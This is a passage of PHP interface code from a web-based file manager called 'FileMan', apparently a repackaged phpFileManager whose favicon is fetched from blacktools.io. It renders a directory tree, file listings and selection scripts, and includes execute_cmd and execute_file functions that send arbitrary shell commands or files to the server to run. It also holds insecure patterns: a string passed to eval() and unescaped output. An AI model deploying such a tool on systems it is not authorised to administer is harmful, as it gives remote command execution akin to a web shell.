2407 if ($str[$last_char] != "/") $str .= "/";
2408 if (!$islinux) $str = ucfirst($str);
2409 }
2410 return $str;
2411}
2412function array_csort() {
2413 $args = func_get_args();
2414 $marray = array_shift($args);
2415 $msortline = "return(array_multisort(";
2416 foreach ($args as $arg) {
2417 $i++;
2418 if (is_string($arg)) {
2419 foreach ($marray as $row) {
2420 $sortarr[$i][] = $row[$arg];
2421 }
2422 } else {
2423 $sortarr[$i] = $arg;
2424 }
2425 $msortline .= "\$sortarr[".$i."],";
2426 }
2427 $msortline .= "\$marray));";
2428 eval($msortline);
2429 return $marray;
2430}
2431function show_perms( $P ) {
2432 $sP = "<b>";
2433 if($P & 0x1000) $sP .= 'p'; // FIFO pipe
2434 elseif($P & 0x2000) $sP .= 'c'; // Character special
2435 elseif($P & 0x4000) $sP .= 'd'; // Directory
2436 elseif($P & 0x6000) $sP .= 'b'; // Block special
2437 elseif($P & 0x8000) $sP .= '−'; // Regular
2438 elseif($P & 0xA000) $sP .= 'l'; // Symbolic Link
2439 elseif($P & 0xC000) $sP .= 's'; // Socket
2440 else $sP .= 'u'; // UNKNOWN
2441 $sP .= "</b>";
2442 // owner - group - others
2443 $sP .= (($P & 0x0100) ? 'r' : '−') . (($P & 0x0080) ? 'w' : '−') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '−'));
2444 $sP .= (($P & 0x0020) ? 'r' : '−') . (($P & 0x0010) ? 'w' : '−') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '−'));
2445 $sP .= (($P & 0x0004) ? 'r' : '−') . (($P & 0x0002) ? 'w' : '−') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '−'));
2446 return $sP;
2447}
2448function format_size($arg) {
2449 if ($arg>0){
2450 $j = 0;
2451 $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
2452 while ($arg >= pow(1024,$j)) ++$j;
2453 return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
2454 } else return "0 bytes";
2455}
2456function get_size($file) {
2457 return format_size(filesize($file));
2458}
2459function check_limit($new_filesize=0) {
2460 global $fm_current_root;
2461 global $quota_mb;
2462 if($quota_mb){
2463 $total = total_size($fm_current_root);
2464 if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
2465 }
2466 return false;
2467}
2468function get_user($arg) {
2469 global $mat_passwd;
2470 $aux = "x:".trim($arg).":";
2471 for($x=0;$x<count($mat_passwd);$x++){
2472 if (strstr($mat_passwd[$x],$aux)){
2473 $mat = explode(":",$mat_passwd[$x]);
2474 return $mat[0];
2475 }
2476 }
2477 return $arg;
2478}
2479function get_group($arg) {
2480 global $mat_group;
2481 $aux = "x:".trim($arg).":";
2482 for($x=0;$x<count($mat_group);$x++){
2483 if (strstr($mat_group[$x],$aux)){
2484 $mat = explode(":",$mat_group[$x]);
2485 return $mat[0];
2486 }
2487 }
2488 return $arg;
2489}
2490function uppercase($str){
2491 global $charset;
2492 return mb_strtoupper($str, $charset);
2493}
2494function lowercase($str){
2495 global $charset;
2496 return mb_strtolower($str, $charset);
2497}
2498// +--------------------------------------------------
2499// | Interface
2500// +--------------------------------------------------
2501function html_header($header=""){
2502 global $charset,$fm_color;
2503 echo "
2504 <!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
2505 <html xmlns=\"http://www.w3.org/1999/xhtml\">
2506 <head>
2507 <meta http-equiv=\"content-type\" content=\"text/html; charset=".$charset."\" />
2508 <title>".et('FileMan')."</title>
2509 <link rel='icon' href='http://blacktools.io/icon.ico' type='image/x-icon' />
2510<link rel='shortcut icon' href='http://blacktools.io/icon.ico' type='image/x-icon' />
2511 <script language=\"Javascript\" type=\"text/javascript\">
2512 <!--
2513 function Is(){
2514 this.appname = navigator.appName;
2515 this.appversion = navigator.appVersion;
2516 this.platform = navigator.platform;
2517 this.useragent = navigator.userAgent.toLowerCase();
2518 this.ie = ( this.appname == 'Microsoft Internet Explorer' );
2519 if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
2520 this.sisop = 'mac';
2521 } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
2522 this.sisop = 'windows';
2523 } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
2524 this.sisop = 'linux';
2525 }
2526 }
2527 var is = new Is();
2528 function enterSubmit(keypressEvent,submitFunc){
2529 var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
2530 if( kCode == 13) eval(submitFunc);
2531 }
2532 function getCookieVal (offset) {
2533 var endstr = document.cookie.indexOf (';', offset);
2534 if (endstr == -1) endstr = document.cookie.length;
2535 return unescape(document.cookie.substring(offset, endstr));
2536 }
2537 function getCookie (name) {
2538 var arg = name + '=';
2539 var alen = arg.length;
2540 var clen = document.cookie.length;
2541 var i = 0;
2542 while (i < clen) {
2543 var j = i + alen;
2544 if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
2545 i = document.cookie.indexOf(' ', i) + 1;
2546 if (i == 0) break;
2547 }
2548 return null;
2549 }
2550 function setCookie (name, value, expires) {
2551 var argv = setCookie.arguments;
2552 var argc = setCookie.arguments.length;
2553 var expires = (argc > 2) ? argv[2] : null;
2554 var path = (argc > 3) ? argv[3] : null;
2555 var domain = (argc > 4) ? argv[4] : null;
2556 var secure = (argc > 5) ? argv[5] : false;
2557 document.cookie = name + '=' + escape (value) +
2558 ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
2559 ((path == null) ? '' : ('; path=' + path)) +
2560 ((domain == null) ? '' : ('; domain=' + domain)) +
2561 ((secure == true) ? '; secure' : '');
2562 }
2563 function delCookie (name) {
2564 var exp = new Date();
2565 exp.setTime (exp.getTime() - 1);
2566 var cval = getCookie (name);
2567 document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
2568 }
2569 var frameWidth, frameHeight;
2570 function getFrameSize(){
2571 if (self.innerWidth){
2572 frameWidth = self.innerWidth;
2573 frameHeight = self.innerHeight;
2574 }else if (document.documentElement && document.documentElement.clientWidth){
2575 frameWidth = document.documentElement.clientWidth;
2576 frameHeight = document.documentElement.clientHeight;
2577 }else if (document.body){
2578 frameWidth = document.body.clientWidth;
2579 frameHeight = document.body.clientHeight;
2580 }else return false;
2581 return true;
2582 }
2583 getFrameSize();
2584 //-->
2585 </script>
2586 $header
2587 </head>
2588 <script language=\"Javascript\" type=\"text/javascript\">
2589 <!--
2590 var W = screen.width;
2591 var H = screen.height;
2592 var FONTSIZE = 0;
2593 switch (W){
2594 case 640:
2595 FONTSIZE = 8;
2596 break;
2597 case 800:
2598 FONTSIZE = 10;
2599 break;
2600 case 1024:
2601 FONTSIZE = 12;
2602 break;
2603 default:
2604 FONTSIZE = 14;
2605 break;
2606 }
2607 ";
2608 echo replace_double(" ",str_replace(chr(13),"",str_replace(chr(10),"","
2609 document.writeln('
2610 <style type=\"text/css\">
2611 body {
2612 font-family : Arial;
2613 font-size: '+FONTSIZE+'px;
2614 font-weight : normal;
2615 color: #".$fm_color['Text'].";
2616 background-color: #".$fm_color['Bg'].";
2617 }
2618 table {
2619 font-family : Arial;
2620 font-size: '+FONTSIZE+'px;
2621 font-weight : normal;
2622 color: #".$fm_color['Text'].";
2623 cursor: default;
2624 }
2625 input {
2626 font-family : Arial;
2627 font-size: '+FONTSIZE+'px;
2628 font-weight : normal;
2629 color: #".$fm_color['Text'].";
2630 }
2631 textarea {
2632 font-family : Courier;
2633 font-size: 12px;
2634 font-weight : normal;
2635 color: #".$fm_color['Text'].";
2636 }
2637 a {
2638 font-family : Arial;
2639 font-size : '+FONTSIZE+'px;
2640 font-weight : bold;
2641 text-decoration: none;
2642 color: #".$fm_color['Text'].";
2643 }
2644 a:link {
2645 color: #".$fm_color['Text'].";
2646 }
2647 a:visited {
2648 color: #".$fm_color['Text'].";
2649 }
2650 a:hover {
2651 color: #".$fm_color['Link'].";
2652 }
2653 a:active {
2654 color: #".$fm_color['Text'].";
2655 }
2656 tr.entryUnselected {
2657 background-color: #".$fm_color['Entry'].";
2658 }
2659 tr.entryUnselected:hover {
2660 background-color: #".$fm_color['Over'].";
2661 }
2662 tr.entrySelected {
2663 background-color: #".$fm_color['Mark'].";
2664 }
2665 </style>
2666 ');
2667 ")));
2668 echo "
2669 //-->
2670 </script>
2671 ";
2672}
2673function reloadframe($ref,$frame_number,$Plus=""){
2674 global $current_dir,$path_info;
2675 echo "
2676 <script language=\"Javascript\" type=\"text/javascript\">
2677 <!--
2678 ".$ref.".frame".$frame_number.".location.href='".$path_info["basename"]."?frame=".$frame_number."¤t_dir=".$current_dir.$Plus."';
2679 //-->
2680 </script>
2681 ";
2682}
2683function alert($arg){
2684 echo "
2685 <script language=\"Javascript\" type=\"text/javascript\">
2686 <!--
2687 alert('$arg');
2688 //-->
2689 </script>
2690 ";
2691}
2692function tree($dir_before,$dir_current,$indice){
2693 global $fm_current_root, $current_dir, $islinux;
2694 global $expanded_dir_list;
2695 $indice++;
2696 $num_dir = 0;
2697 $dir_name = str_replace($dir_before,"",$dir_current);
2698 $dir_before = str_replace("//","/",$dir_before);
2699 $dir_current = str_replace("//","/",$dir_current);
2700 $is_denied = false;
2701 if ($islinux) {
2702 $denied_list = "/proc#/dev";
2703 $mat = explode("#",$denied_list);
2704 foreach($mat as $key => $val){
2705 if ($dir_current == $val){
2706 $is_denied = true;
2707 break;
2708 }
2709 }
2710 unset($mat);
2711 }
2712 if (!$is_denied){
2713 if ($handle = @opendir($dir_current)){
2714 // Permitido
2715 while ($file = readdir($handle)){
2716 if ($file != "." && $file != ".." && is_dir("$dir_current/$file"))
2717 $mat_dir[] = $file;
2718 }
2719 @closedir($handle);
2720 if (count($mat_dir)){
2721 sort($mat_dir,SORT_STRING);
2722 // with Sub-dir
2723 if ($indice != 0){
2724 for ($aux=1;$aux<$indice;$aux++) echo " ";
2725 }
2726 if ($dir_before != $dir_current){
2727 if (strstr($expanded_dir_list,":$dir_current/$dir_name")) $op_str = "[–]";
2728 else $op_str = "[+]";
2729 echo "<nobr><a href=\"JavaScript:go_dir('$dir_current/$dir_name')\">$op_str</a> <a href=\"JavaScript:go('$dir_current')\">$dir_name</a></nobr><br>\n";
2730 } else {
2731 echo "<nobr><a href=\"JavaScript:go('$dir_current')\">$fm_current_root</a></nobr><br>\n";
2732 }
2733 for ($x=0;$x<count($mat_dir);$x++){
2734 if (($dir_before == $dir_current)||(strstr($expanded_dir_list,":$dir_current/$dir_name"))){
2735 tree($dir_current."/",$dir_current."/".$mat_dir[$x],$indice);
2736 } else flush();
2737 }
2738 } else {
2739 // no Sub-dir
2740 if ($dir_before != $dir_current){
2741 for ($aux=1;$aux<$indice;$aux++) echo " ";
2742 echo "<b>[ ]</b>";
2743 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $dir_name</a></nobr><br>\n";
2744 } else {
2745 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $fm_current_root</a></nobr><br>\n";
2746 }
2747 }
2748 } else {
2749 // denied
2750 if ($dir_before != $dir_current){
2751 for ($aux=1;$aux<$indice;$aux++) echo " ";
2752 echo "<b>[ ]</b>";
2753 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>\n";
2754 } else {
2755 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>\n";
2756 }
2757
2758 }
2759 } else {
2760 // denied
2761 if ($dir_before != $dir_current){
2762 for ($aux=1;$aux<$indice;$aux++) echo " ";
2763 echo "<b>[ ]</b>";
2764 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>\n";
2765 } else {
2766 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>\n";
2767 }
2768 }
2769}
2770function show_tree(){
2771 global $fm_current_root,$path_info,$setflag,$islinux,$cookie_cache_time;
2772 html_header("
2773 <script language=\"Javascript\" type=\"text/javascript\">
2774 <!--
2775 function saveFrameSize(){
2776 if (getFrameSize()){
2777 var exp = new Date();
2778 exp.setTime(exp.getTime()+$cookie_cache_time);
2779 setCookie('leftFrameWidth',frameWidth,exp);
2780 }
2781 }
2782 window.onresize = saveFrameSize;
2783 //-->
2784 </script>");
2785 echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
2786 echo "
2787 <script language=\"Javascript\" type=\"text/javascript\">
2788 <!--
2789 // Disable text selection, binding the onmousedown, but not for some elements, it must work.
2790 function disableTextSelection(e){
2791 var type = String(e.target.type);
2792 return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
2793 }
2794 function enableTextSelection(){return true}
2795 if (is.ie) document.onselectstart=new Function('return false')
2796 else {
2797 document.body.onmousedown=disableTextSelection
2798 document.body.onclick=enableTextSelection
2799 }
2800 var flag = ".(($setflag)?"true":"false")."
2801 function set_flag(arg) {
2802 flag = arg;
2803 }
2804 function go_dir(arg) {
2805 var setflag;
2806 setflag = (flag)?1:0;
2807 document.location.href='".addslashes($path_info["basename"])."?frame=2&setflag='+setflag+'¤t_dir=".addslashes($current_dir)."&ec_dir='+arg;
2808 }
2809 function go(arg) {
2810 if (flag) {
2811 parent.frame3.set_dir_dest(arg+'/');
2812 flag = false;
2813 } else {
2814 parent.frame3.location.href='".addslashes($path_info["basename"])."?frame=3¤t_dir='+arg+'/';
2815 }
2816 }
2817 function set_fm_current_root(arg){
2818 document.location.href='".addslashes($path_info["basename"])."?frame=2&set_fm_current_root='+escape(arg);
2819 }
2820 function atualizar(){
2821 document.location.href='".addslashes($path_info["basename"])."?frame=2';
2822 }
2823 //-->
2824 </script>
2825 ";
2826 echo "<table width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";
2827 echo "<form><tr valign=top height=10><td>";
2828 if (!$islinux){
2829 echo "<select name=drive onchange=\"set_fm_current_root(this.value)\">";
2830 $aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
2831 for($x=0;$x<strlen($aux);$x++){
2832 if ($handle = opendir($aux[$x].":/")){
2833 @closedir($handle);
2834 if (strstr(uppercase($fm_current_root),$aux[$x].":/")) $is_sel="selected";
2835 else $is_sel="";
2836 echo "<option $is_sel value=\"".$aux[$x].":/\">".$aux[$x].":/";
2837 }
2838 }
2839 echo "</select> ";
2840 }
2841 echo "<input type=button value=".et('Refresh')." onclick=\"atualizar()\"></tr></form>";
2842 echo "<tr valign=top><td>";
2843 clearstatcache();
2844 tree($fm_current_root,$fm_current_root,-1,0);
2845 echo "</td></tr>";
2846 echo "
2847 <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\" target=\"_parent\">
2848 <input type=hidden name=action value=1>
2849 <tr>
2850 <td height=10 colspan=2><input type=submit value=\"".et('Leave')."\">
2851 </tr>
2852 </form>
2853 ";
2854 echo "</table>\n";
2855 echo "</body>\n</html>";
2856}
2857function getmicrotime(){
2858 list($usec, $sec) = explode(" ", microtime());
2859 return ((float)$usec + (float)$sec);
2860}
2861function dir_list_form() {
2862 global $fm_current_root,$current_dir,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$path_info,$fm_color;
2863 $ti = getmicrotime();
2864 clearstatcache();
2865 $out = "<table border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#eeeeee\">\n";
2866 if ($opdir = @opendir($current_dir)) {
2867 $has_files = false;
2868 $entry_count = 0;
2869 $total_size = 0;
2870 $entry_list = array();
2871 while ($file = readdir($opdir)) {
2872 if (($file != ".")&&($file != "..")){
2873 $entry_list[$entry_count]["size"] = 0;
2874 $entry_list[$entry_count]["sizet"] = 0;
2875 $entry_list[$entry_count]["type"] = "none";
2876 if (is_file($current_dir.$file)){
2877 $ext = lowercase(strrchr($file,"."));
2878 $entry_list[$entry_count]["type"] = "file";
2879 // Função filetype() returns only "file"...
2880 $entry_list[$entry_count]["size"] = filesize($current_dir.$file);
2881 $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]);
2882 if (strstr($ext,".")){
2883 $entry_list[$entry_count]["ext"] = $ext;
2884 $entry_list[$entry_count]["extt"] = $ext;
2885 } else {
2886 $entry_list[$entry_count]["ext"] = "";
2887 $entry_list[$entry_count]["extt"] = " ";
2888 }
2889 $has_files = true;
2890 } elseif (is_dir($current_dir.$file)) {
2891 // Recursive directory size disabled
2892 // $entry_list[$entry_count]["size"] = total_size($current_dir.$file);
2893 $entry_list[$entry_count]["size"] = 0;
2894 $entry_list[$entry_count]["sizet"] = " ";
2895 $entry_list[$entry_count]["type"] = "dir";
2896 }
2897 $entry_list[$entry_count]["name"] = $file;
2898 $entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir.$file));
2899 $entry_list[$entry_count]["time"] = date("his", filemtime($current_dir.$file));
2900 $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($current_dir.$file));
2901 if ($islinux && $resolveIDs){
2902 $entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir.$file));
2903 $entry_list[$entry_count]["u"] = get_user(fileowner($current_dir.$file));
2904 $entry_list[$entry_count]["g"] = get_group(filegroup($current_dir.$file));
2905 } else {
2906 $entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir.$file),10,8);
2907 $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);
2908 $entry_list[$entry_count]["u"] = fileowner($current_dir.$file);
2909 $entry_list[$entry_count]["g"] = filegroup($current_dir.$file);
2910 }
2911 $total_size += $entry_list[$entry_count]["size"];
2912 $entry_count++;
2913 }
2914 }
2915 @closedir($opdir);
2916
2917 if($entry_count){
2918 $or1="1A";
2919 $or2="2D";
2920 $or3="3A";
2921 $or4="4A";
2922 $or5="5A";
2923 $or6="6D";
2924 $or7="7D";
2925 switch($order_dir_list_by){
2926 case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
2927 case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
2928 case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
2929 case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
2930 case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
2931 case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
2932 case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
2933 case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
2934 case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
2935 case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
2936 case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
2937 case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
2938 case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
2939 case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
2940 }
2941 }
2942 $out .= "
2943 <script language=\"Javascript\" type=\"text/javascript\">
2944 <!--
2945 function go(arg) {
2946 document.location.href='".addslashes($path_info["basename"])."?frame=3¤t_dir=".addslashes($current_dir)."'+arg+'/';
2947 }
2948 function resolveIDs() {
2949 document.location.href='".addslashes($path_info["basename"])."?frame=3&set_resolveIDs=1¤t_dir=".addslashes($current_dir)."';
2950 }
2951 var entry_list = new Array();
2952 // Custom object constructor
2953 function entry(name, type, size, selected){
2954 this.name = name;
2955 this.type = type;
2956 this.size = size;
2957 this.selected = false;
2958 }
2959 // Declare entry_list for selection procedures";
2960 foreach ($entry_list as $i=>$data){
2961 $out .= "\nentry_list['entry$i'] = new entry('".addslashes($data["name"])."', '".$data["type"]."', ".$data["size"].", false);";
2962 }
2963 $out .= "
2964 // Select/Unselect Rows OnClick/OnMouseOver
2965 var lastRows = new Array(null,null);
2966 function selectEntry(Row, Action){
2967 if (multipleSelection){
2968 // Avoid repeated onmouseover events from same Row ( cell transition )
2969 if (Row != lastRows[0]){
2970 if (Action == 'over') {
2971 if (entry_list[Row.id].selected){
2972 if (unselect(entry_list[Row.id])) {
2973 Row.className = 'entryUnselected';
2974 }
2975 // Change the last Row when you change the movement orientation
2976 if (lastRows[0] != null && lastRows[1] != null){
2977 var LastRowID = lastRows[0].id;
2978 if (Row.id == lastRows[1].id){
2979 if (unselect(entry_list[LastRowID])) {
2980 lastRows[0].className = 'entryUnselected';
2981 }
2982 }
2983 }
2984 } else {
2985 if (select(entry_list[Row.id])){
2986 Row.className = 'entrySelected';
2987 }
2988 // Change the last Row when you change the movement orientation
2989 if (lastRows[0] != null && lastRows[1] != null){
2990 var LastRowID = lastRows[0].id;
2991 if (Row.id == lastRows[1].id){
2992 if (select(entry_list[LastRowID])) {
2993 lastRows[0].className = 'entrySelected';
2994 }
2995 }
2996 }
2997 }
2998 lastRows[1] = lastRows[0];
2999 lastRows[0] = Row;
3000 }
3001 }
3002 } else {
3003 if (Action == 'click') {
3004 var newClassName = null;
3005 if (entry_list[Row.id].selected){
3006 if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
3007 } else {
3008 if (select(entry_list[Row.id])) newClassName = 'entrySelected';
3009 }
3010 if (newClassName) {
3011 lastRows[0] = lastRows[1] = Row;
3012 Row.className = newClassName;
3013 }
3014 }
3015 }
3016 return true;
3017 }
3018 // Disable text selection and bind multiple selection flag
3019 var multipleSelection = false;
3020 if (is.ie) {
3021 document.onselectstart=new Function('return false');
3022 document.onmousedown=switch_flag_on;
3023 document.onmouseup=switch_flag_off;
3024 // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
3025 window.onscroll=new Function('multipleSelection=false');
3026 window.onresize=new Function('multipleSelection=false');
3027 } else {
3028 if (document.layers) window.captureEvents(Event.MOUSEDOWN);
3029 if (document.layers) window.captureEvents(Event.MOUSEUP);
3030 window.onmousedown=switch_flag_on;
3031 window.onmouseup=switch_flag_off;
3032 }
3033 // Using same function and a ternary operator couses bug on double click
3034 function switch_flag_on(e) {
3035 if (is.ie){
3036 multipleSelection = (event.button == 1);
3037 } else {
3038 multipleSelection = (e.which == 1);
3039 }
3040 var type = String(e.target.type);
3041 return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
3042 }
3043 function switch_flag_off(e) {
3044 if (is.ie){
3045 multipleSelection = (event.button != 1);
3046 } else {
3047 multipleSelection = (e.which != 1);
3048 }
3049 lastRows[0] = lastRows[1] = null;
3050 update_sel_status();
3051 return false;
3052 }
3053 var total_dirs_selected = 0;
3054 var total_files_selected = 0;
3055 function unselect(Entry){
3056 if (!Entry.selected) return false;
3057 Entry.selected = false;
3058 sel_totalsize -= Entry.size;
3059 if (Entry.type == 'dir') total_dirs_selected--;
3060 else total_files_selected--;
3061 return true;
3062 }
3063 function select(Entry){
3064 if(Entry.selected) return false;
3065 Entry.selected = true;
3066 sel_totalsize += Entry.size;
3067 if(Entry.type == 'dir') total_dirs_selected++;
3068 else total_files_selected++;
3069 return true;
3070 }
3071 function is_anything_selected(){
3072 var selected_dir_list = new Array();
3073 var selected_file_list = new Array();
3074 for(var x=0;x<".(integer)count($entry_list).";x++){
3075 if(entry_list['entry'+x].selected){
3076 if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
3077 else selected_file_list.push(entry_list['entry'+x].name);
3078 }
3079 }
3080 document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
3081 document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
3082 return (total_dirs_selected>0 || total_files_selected>0);
3083 }
3084 function format_size (arg) {
3085 var resul = '';
3086 if (arg>0){
3087 var j = 0;
3088 var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
3089 while (arg >= Math.pow(1024,j)) ++j;
3090 resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
3091 } else resul = 0;
3092 return resul;
3093 }
3094 var sel_totalsize = 0;
3095 function update_sel_status(){
3096 var t = total_dirs_selected+' ".et('Dir_s')." ".et('And')." '+total_files_selected+' ".et('File_s')." ".et('Selected_s')." = '+format_size(sel_totalsize);
3097 //document.getElementById(\"sel_status\").innerHTML = t;
3098 window.status = t;
3099 }
3100 // Select all/none/inverse
3101 function selectANI(Butt){
3102 cancel_copy_move();
3103 for(var x=0;x<". (integer)count($entry_list).";x++){
3104 var Row = document.getElementById('entry'+x);
3105 var newClassName = null;
3106 switch (Butt.value){
3107 case '".et('SelAll')."':
3108 if (select(entry_list[Row.id])) newClassName = 'entrySelected';
3109 break;
3110 case '".et('SelNone')."':
3111 if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
3112 break;
3113 case '".et('SelInverse')."':
3114 if (entry_list[Row.id].selected){
3115 if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
3116 } else {
3117 if (select(entry_list[Row.id])) newClassName = 'entrySelected';
3118 }
3119 break;
3120 }
3121 if (newClassName) {
3122 Row.className = newClassName;
3123 }
3124 }
3125 if (Butt.value == '".et('SelAll')."'){
3126 for(var i=0;i<2;i++){
3127 document.getElementById('ANI'+i).value='".et('SelNone')."';
3128 }
3129 } else if (Butt.value == '".et('SelNone')."'){
3130 for(var i=0;i<2;i++){
3131 document.getElementById('ANI'+i).value='".et('SelAll')."';
3132 }
3133 }
3134 update_sel_status();
3135 return true;
3136 }
3137 function download(arg){
3138 parent.frame1.location.href='".addslashes($path_info["basename"])."?action=3¤t_dir=".addslashes($current_dir)."&filename='+escape(arg);
3139 }
3140 function upload(){
3141 var w = 400;
3142 var h = 250;
3143 window.open('".addslashes($path_info["basename"])."?action=10¤t_dir=".addslashes($current_dir)."', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3144 }
3145 function execute_cmd(){
3146 var arg = prompt('".et('TypeCmd').".');
3147 if(arg.length>0){
3148 if(confirm('".et('ConfExec')." \\' '+arg+' \\' ?')) {
3149 var w = 800;
3150 var h = 600;
3151 window.open('".addslashes($path_info["basename"])."?action=6¤t_dir=".addslashes($current_dir)."&cmd='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3152 }
3153 }
3154 }
3155 function decompress(arg){
3156 if(confirm('".uppercase(et('Decompress'))." \\' '+arg+' \\' ?')) {
3157 document.form_action.action.value = 72;
3158 document.form_action.cmd_arg.value = arg;
3159 document.form_action.submit();
3160 }
3161 }
3162 function execute_file(arg){
3163 if(arg.length>0){
3164 if(confirm('".et('ConfExec')." \\' '+arg+' \\' ?')) {
3165 var w = 800;
3166 var h = 600;
3167 window.open('".addslashes($path_info["basename"])."?action=11¤t_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3168 }
3169 }
3170 }
3171 function edit_file(arg){
3172 var w = 1024;
3173 var h = 768;
3174 // if(confirm('".uppercase(et('Edit'))." \\' '+arg+' \\' ?'))
3175 window.open('".addslashes($path_info["basename"])."?action=7¤t_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3176 }
3177 function config(){
3178 var w = 650;
3179 var h = 400;
3180 window.open('".addslashes($path_info["basename"])."?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3181 }
3182 function server_info(arg){
3183 var w = 800;
3184 var h = 600;
